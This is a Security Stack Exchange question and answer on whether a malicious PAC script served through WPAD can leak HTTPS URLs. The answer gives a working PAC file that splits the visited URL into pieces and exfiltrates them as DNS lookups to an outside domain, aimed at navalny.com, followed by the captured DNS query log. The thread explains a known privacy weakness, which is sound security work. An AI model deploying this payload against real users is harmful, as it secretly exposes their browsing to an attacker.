3

The WPAD protocol can in some circumstances allow an attacker to get clients to use a malicious PAC script.

It appears to be well documented, that this can be used to perform MITM-attacks on HTTP traffic. However I don't see any discussion on the impact on HTTPS traffic.

As far as I can tell, it does not permit for a full MITM-attack on the HTTPS traffic since the PAC script can only direct the browser to which proxy to use, but there will still be an end-to-end SSL connection between the client and the legitimate server.

However one of the arguments for the FindProxyForURL function provided by the attacker is the full URL. Moreover FindProxyForURL can trigger DNS lookups.

Can an attacker utilize this to leak HTTPS URLs? If not, what protection is in place to prevent such leaks?

Improve this question
3
  • 1
    I'm not 100% certain, but the URL path isn't sent to anything but the server that serves the page (except in HTTP referrer headers, etc). One can however watch the subdomain lookups. – Natanael May 4 '15 at 23:29
  • @Natanael The URL is given to the FindProxyForURL function. This is also explained in the link in my question: en.wikipedia.org/wiki/Proxy_auto-config What would stop the script from sending this URL to an attacker? – kasperd May 5 '15 at 5:19
  • 1
    There is a Defcon talk about this which even references this exact SecSE question. – Arminius Mar 23 '17 at 8:39
5

Yes, URL is passed to FindProxyForURL() and you can leak it out via DNS. Here is an example of PAC file:

function FindProxyForURL(url, host) {
    if (host == 'navalny.com') {
        var chunks = url.match(/[-a-zA-Z0-9]+/g);
        dnsResolve('x.darkk.net.ru.');
        if (chunks) {
            chunks.forEach(function(x) {
                dnsResolve(x + '.y.darkk.net.ru');
            });
        }
        dnsResolve('z.darkk.net.ru.');
        return 'SOCKS5 127.0.0.1:1024'; // drop connection
    }
    return 'DIRECT';
}

If Firefox/39.0 navigates to https://navalny.com/the-capability-url?q=q while this PAC file is active following DNS queries are sent:

Standard query 0xfb5d  A x.darkk.net.ru
Standard query 0x9ca7  AAAA x.darkk.net.ru
Standard query 0xf1cc  A x.darkk.net.ru
Standard query 0xf60c  AAAA x.darkk.net.ru
Standard query 0x574a  A https.y.darkk.net.ru
Standard query 0xfad9  AAAA https.y.darkk.net.ru
Standard query 0x2289  A https.y.darkk.net.ru
Standard query 0x7ed4  AAAA https.y.darkk.net.ru
Standard query 0x85b2  A navalny.y.darkk.net.ru
Standard query 0xa7cd  AAAA navalny.y.darkk.net.ru
Standard query 0x1ca9  A navalny.y.darkk.net.ru
Standard query 0xa400  AAAA navalny.y.darkk.net.ru
Standard query 0xec51  A com.y.darkk.net.ru
Standard query 0x1ea7  AAAA com.y.darkk.net.ru
Standard query 0x25bd  A the-capability-url.y.darkk.net.ru
Standard query 0x844c  AAAA the-capability-url.y.darkk.net.ru
Standard query 0x200b  A q.y.darkk.net.ru
Standard query 0x5a62  AAAA q.y.darkk.net.ru
Standard query 0xeb02  A q.y.darkk.net.ru
Standard query 0xaa2c  AAAA q.y.darkk.net.ru
Standard query 0xee8f  A z.darkk.net.ru
Standard query 0xe9b7  AAAA z.darkk.net.ru
Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.